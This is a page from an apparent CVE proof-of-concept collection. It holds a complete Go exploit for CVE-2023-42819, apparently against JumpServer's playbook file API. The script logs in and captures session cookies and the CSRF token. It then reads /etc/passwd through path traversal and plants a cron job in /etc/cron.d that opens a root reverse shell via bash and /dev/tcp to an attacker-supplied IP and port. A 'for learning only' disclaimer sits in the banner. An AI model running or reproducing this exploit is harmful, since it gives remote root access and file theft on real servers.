4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-42819.go GO
package main

import (
	"encoding/json"
	"flag"
	"fmt"
	"github.com/go-resty/resty/v2"
	log "github.com/sirupsen/logrus"
	"github.com/tebeka/selenium"
	"github.com/tebeka/selenium/chrome"
	"math/rand"
	"net/http"
	"net/url"
	"os"
	"strings"
	"time"
)

const (
	chromeDriverPath = "./chromedriver.exe" // 仓库根路径
	port             = 4443
)

var (
	PROXIES string
)

func banner() {
	fmt.Println(`

	██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██╗  ██╗██████╗  █████╗  ██╗ █████╗
	██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ██║  ██║╚════██╗██╔══██╗███║██╔══██╗
	██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
	██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
	╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝           ██║███████╗╚█████╔╝ ██║ █████╔╝
	╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝            ╚═╝╚══════╝ ╚════╝  ╚═╝ ╚════╝
	
    @Auth: C1ph3rX13
    @Blog: https://c1ph3rx13.github.io
    @Note: 代码仅供学习使用,请勿用于其他用途
	`)

}

func init() {
	// 配置日志格式
	log.SetFormatter(&log.TextFormatter{
		ForceColors:               true,
		EnvironmentOverrideColors: true,                  // 显示颜色
		TimestampFormat:           "2006-01-02 15:04:05", // 格式化时间
		FullTimestamp:             true,
		DisableLevelTruncation:    true,
	})

	// 设置日志级别为: Info
	log.SetLevel(log.InfoLevel)
}

func driverConfig() selenium.WebDriver {
	// 需要先启动 ChromeDriverService
	_, err := selenium.NewChromeDriverService(chromeDriverPath, port)
	if err != nil {
		log.Panicf("Error starting the ChromeDriver Server: %v", err)
	}

	// 设置 Chrome 的启动参数
	caps := selenium.Capabilities{
		"browserName": "chrome",
	}
	// 使用字符串插值来替换 --proxy-server 参数中的 PROXIES,变量的值将被动态地插入到启动参数
	opts := chrome.Capabilities{
		Args: []string{
			"--headless",
			"--no-sandbox",
			"--disable-gpu",
			"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46",
		}}
	if PROXIES != "" {
		opts.Args = append(opts.Args, fmt.Sprintf("--proxy-server=%s", PROXIES))
	}
	caps.AddChrome(opts)

	// 设置 Debug 模式为 false
	selenium.SetDebug(false)

	// 启动 Chrome 访问网页
	driver, err := selenium.NewRemote(caps, fmt.Sprintf("http://localhost:%d/wd/hub", port))
	if err != nil {
		log.Panicf("Error starting the ChromeDriver Remote: %v", err)
	}

	return driver
}

func doLogin(target string, username string, password string) {
	// 实例化浏览器对象
	browser := driverConfig()

	// 拼接路径
	loginUrl := target + "/core/auth/login/"
	log.Infof("Request Url: %s", loginUrl)

	// 打开登录页面
	if err := browser.Get(loginUrl); err != nil {
		log.Panicf("Request Error: %v", err)
	} else {
		log.Info("Request Successfully")
	}
	time.Sleep(time.Second * 3)

	// 定位
	usernameInput, _ := browser.FindElement(selenium.ByName, "username")
	passwordInput, _ := browser.FindElement(selenium.ByID, "password")
	btn, _ := browser.FindElement(selenium.ByXPATH, "//*[@id=\"login-form\"]/div[5]/button")

	// 清空输入框
	_ = usernameInput.Clear()
	_ = passwordInput.Clear()

	// 输入用户名和密码
	_ = usernameInput.SendKeys(username)
	_ = passwordInput.SendKeys(password)

	// 点击提交
	_ = btn.Click()

	// 获取 cookies
	cookies, _ := browser.GetCookies()

	// 将 []Cookie 转换为 JSON 格式字符串
	data, _ := json.MarshalIndent(cookies, "", "  ")

	// 将 JSON 字符串写入文件
	err := os.WriteFile("cookies.json", data, 0777)
	if err != nil {
		log.Panicf("Write Failed : %v", cookies)
	} else {
		log.Info("Cookies Successful Write")
	}

	defer func(browser selenium.WebDriver) {
		err := browser.Quit()
		if err != nil {
			log.Panicf("Close Error: %v", err)
		}
	}(browser)

}

func generateRandomLetters(length int) string {
	source := rand.NewSource(time.Now().UnixNano()) // 创建新的随机源
	random := rand.New(source)                      // 创建新的随机数生成器

	letters := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
	randomLetters := make([]byte, length)
	for i := 0; i < length; i++ {
		randomLetters[i] = letters[random.Intn(len(letters))]
	}

	return string(randomLetters)
}

func clientConfig() *resty.Client {
	// 读取 cookie.json
	file, err := os.ReadFile("cookies.json")
	if err != nil {
		log.Warnf("Read Error: %v", err)
	}

	// 解析 JSON 格式的 cookies
	var cookies []*http.Cookie
	err = json.Unmarshal(file, &cookies)
	if err != nil {
		log.Fatal("JSON Error: ", err)
	}

	// 编码 Cookie 值
	for _, cookie := range cookies {
		cookie.Value = url.QueryEscape(cookie.Value)
	}

	headers := map[string]string{
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
	}

	// 遍历 cookies 切片,将每个 cookie 添加到 headers 中
	for _, cookie := range cookies {
		if cookie.Name == "jms_csrftoken" {
			headers["X-CSRFToken"] = cookie.Value
			log.Warnf("X-CSRFToken Found: %v", cookie.Value)
			break
		}
	}

	// 编码 headers 值
	for key, value := range headers {
		headers[key] = url.QueryEscape(value)
	}

	// 配置 client
	client := resty.New().
		SetCookies(cookies).
		SetHeaders(headers)
	// 配置代理
	if PROXIES != "" {
		client.SetProxy(PROXIES)
	}

	return client

}

func uidVerify(target string, client *resty.Client) string {
	// 拼接路径
	uidUrl := target + "/api/v1/ops/playbooks/"
	log.Infof("Request Url: %s", uidUrl)

	// 发起请求
	resp, err := client.R().
		Get(uidUrl)
	if err != nil {
		log.Fatalf("uidVerify Request Error: %v", err)
	}
	defer resp.RawResponse.Body.Close()

	if !resp.IsError() && strings.Contains(resp.String(), "id") {
		log.Warnf("Playbook API Info: %v", resp.String())
		// 将响应文本解析为 JSON
		var jsonData []map[string]interface{}
		err = json.Unmarshal(resp.Body(), &jsonData)
		if err != nil {
			log.Fatalf("JSON parsing failed: %v", err)
		}

		// 遍历 ID
		var ids []string
		for _, entry := range jsonData {
			if id, ok := entry["id"].(string); ok {
				ids = append(ids, id)
			}
		}

		// 判断 ID 的长度
		if len(ids) > 0 {
			log.Warnf("Playbook UID: %v", ids[0])
			return ids[0]
		}
	}

	log.Warn("Playbook UID is not exists")
	return ""
}

func addPlaybook(target string, client *resty.Client) {
	playbookUrl := target + "/api/v1/ops/playbooks/"
	log.Infof("Add Playbook Url: %v", playbookUrl)

	// 随机命名
	playbookName := generateRandomLetters(4)

	// POST JSON
	addJson := map[string]interface{}{
		"name": playbookName,
	}

	// 发起请求
	resp, err := client.R().
		SetBody(addJson).
		Post(playbookUrl)
	if err != nil {
		log.Fatalf("addPlaybook Request Error: %v", err)
	}

	// 判断请求是否成功
	if !resp.IsError() && strings.Contains(resp.String(), "id") {
		log.Warnf("Successfully Added: %v", resp.String())
	} else {
		log.Warnf("Error: %v", resp.String())
	}

	defer resp.RawResponse.Body.Close()
}

func poc(target string, uid string, client *resty.Client) bool {
	pocUrl := target + "/api/v1/ops/playbook/" + uid + "/file/?key=/etc/passwd"
	log.Infof("POC Url: %v", pocUrl)

	// 发起请求
	resp, err := client.R().
		Get(pocUrl)
	if err != nil {
		log.Fatalf("Poc Request Error: %v", err)
	}

	// 判断请求是否成功
	if !resp.IsError() && strings.Contains(resp.String(), "root") {
		log.Warnf("Vulnerable: %v", resp.Request.URL)
		log.Warnf("Output: %v", resp.String())
		return true
	} else {
		log.Warnf("Not Vulnerable: %v", resp.String())
		return false
	}

}

func exp(target string, uid string, client *resty.Client, ip string, port string) {
	expUrl := target + "/api/v1/ops/playbook/" + uid + "/file/"
	log.Infof("EXP Url: %v", expUrl)

	// Directory JSON
	dirData := map[string]interface{}{
		"key":          "/etc/cron.d", // 创建路径
		"is_directory": true,          // 创建文件夹
		"name":         "/etc/cron.d", // 指定创建文件夹的名称
	}

	// 随机计划任务文件名
	shellName := generateRandomLetters(4)
	// Reverse Shell JSON
	shellData := map[string]interface{}{
		"key":          "/etc/cron.d",                                                                        // 创建文件的路径
		"is_directory": false,                                                                                // 不创建文件夹
		"name":         shellName,                                                                            // 创建文件的名称
		"content":      fmt.Sprintf("* * * * * root bash -c \"bash -i >& /dev/tcp/%s/%s 0>&1\"\n", ip, port), // 创建文件的内容
	}

	// 发起请求: 创建计划任务目录
	dirResp, err := client.R().
		SetBody(dirData).
		Post(expUrl)
	if err != nil {
		log.Fatalf("EXP[DIR] Request Error: %v", err)
	}

	// 判断 创建计划任务文件夹 是否成功
	if dirResp.IsSuccess() {
		log.Warnf("Directory is Successfully Created: %v", dirResp.String())

		// 发起请求: 创建计划任务文件
		shellResp, err := client.R().
			SetBody(shellData).
			Post(expUrl)
		if err != nil {
			log.Fatalf("EXP[SHELL] Request Error: %v", err)
		}

		// 判断 创建计划任务文件 是否成功
		if shellResp.IsSuccess() {
			log.Warnf("Reverse Shell is Successfully Set: %v", shellResp.String())
		} else {
			log.Warnf("Reverse Shell Failed: %v", shellResp.String())
			log.Warnf("Reverse Shell Failed: %v", shellResp.Header())
		}

	} else {
		log.Warnf("Not Vulnerable: %v", dirResp.String())
	}
}

func exploit(target string, uid string, client *resty.Client, shellIP string, shellPort string) {
	if poc(target, uid, client) {
		exp(target, uid, client, shellIP, shellPort)
	}
}

func run(target string, username string, password string, shellIP string, shellPort string) {
	// 检查是否存在 cookies.json 文件
	if _, err := os.Stat("cookies.json"); os.IsNotExist(err) {
		// 登录并获取 cookies 和 headers
		log.Println("Cookie does not exist, DO LOGIN")
		doLogin(target, username, password)
	}

	// 获取请求客户端配置
	client := clientConfig()
	// 验证 uid
	uid := uidVerify(target, client)
	if uid == "" {
		// 添加动作
		addPlaybook(target, client)
		uid = uidVerify(target, client)
	}

	// 执行 exploit
	if uid != "" {
		exploit(target, uid, client, shellIP, shellPort)
	} else {
		log.Println("Failed to verify uid")
	}
}

func main() {
	banner()

	target := flag.String("t", "", "Target Url")
	username := flag.String("u", "", "Account Username")
	password := flag.String("p", "", "Account Password")
	ip := flag.String("ip", "", "Shell IP")
	port := flag.String("port", "", "Shell Port")
	proxy := flag.String("proxy", "", "Proxy Url")

	flag.Parse()

	if *target == "" || *username == "" || *password == "" || *ip == "" || *port == "" {
		fmt.Println("Missing required arguments.")
		flag.Usage()
		return
	}

	if *proxy != "" {
		PROXIES = *proxy
	}

	run(*target, *username, *password, *ip, *port)
}